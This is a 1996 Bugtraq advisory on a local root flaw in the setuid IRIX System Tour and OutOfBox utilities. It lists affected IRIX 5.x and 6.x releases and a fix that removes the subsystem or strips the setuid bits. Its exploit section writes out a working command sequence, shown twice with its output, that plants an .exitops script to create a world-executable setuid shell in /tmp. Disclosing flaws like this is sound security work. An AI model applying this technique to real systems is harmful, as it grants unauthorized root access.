IRIX Systour and OutOfBox Vulnerabilities
BID:470
Info
IRIX Systour and OutOfBox Vulnerabilities
| Bugtraq ID: | 470 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Oct 30 1996 12:00AM |
| Updated: | Oct 30 1996 12:00AM |
| Credit: | This vulnerability was discovered by Tun-Hui Hu <[email protected]>, and reported to the Bugtraq mailing list on October 30, 1996. |
| Vulnerable: |
SGI IRIX 6.3 SGI IRIX 6.2 SGI IRIX 6.1 SGI IRIX 6.0.1 XFS SGI IRIX 6.0.1 SGI IRIX 6.0 SGI IRIX 5.3 XFS SGI IRIX 5.3 SGI IRIX 5.2 SGI IRIX 5.1.1 SGI IRIX 5.1 SGI IRIX 5.0.1 SGI IRIX 5.0 |
| Not Vulnerable: |
SGI IRIX 6.5 SGI IRIX 6.4 |
Exploit / POC
IRIX Systour and OutOfBox Vulnerabilities
$ rbase=$HOME; export rbase
$ mkdir -p $HOME/var/inst
$ echo "dryrun: true" > $HOME/.swmgrrc
$ cp -p /bin/sh /tmp/foobar
$ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
$ chmod a+x $HOME/var/inst/.exitops
$ /usr/lib/tour/bin/RemoveSystemTour
Executing outstanding exit-commands from previous session ..
Successfully completed exit-commands from previous session.
Reading installation history
Checking dependencies
ERROR : Software Manager: automatic installation failed: New
target (nothing installed) and no distribution.
$ rbase=$HOME; export rbase
$ mkdir -p $HOME/var/inst
$ echo "dryrun: true" > $HOME/.swmgrrc
$ cp -p /bin/sh /tmp/foobar
$ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
$ chmod a+x $HOME/var/inst/.exitops
$ /usr/lib/tour/bin/RemoveSystemTour
Executing outstanding exit-commands from previous session ..
Successfully completed exit-commands from previous session.
Reading installation history
Checking dependencies
ERROR : Software Manager: automatic installation failed: New
target (nothing installed) and no distribution.
Solution / Fix
IRIX Systour and OutOfBox Vulnerabilities
Solution:
Removal of this subsystem is recommended. To remove:
/usr/sbin/versions -v remove systour OutOfBox
Alternatively, the affected binaries can have their setuid bits removed.
# /bin/chmod u-s /usr/lib/tour/bin/RemoveSystemTour
# /bin/chmod u-s /usr/people/tour/oob/bin/oobversion
Documentation on this problem is available from SGI at http://support.sgi.com
Solution:
Removal of this subsystem is recommended. To remove:
/usr/sbin/versions -v remove systour OutOfBox
Alternatively, the affected binaries can have their setuid bits removed.
# /bin/chmod u-s /usr/lib/tour/bin/RemoveSystemTour
# /bin/chmod u-s /usr/people/tour/oob/bin/oobversion
Documentation on this problem is available from SGI at http://support.sgi.com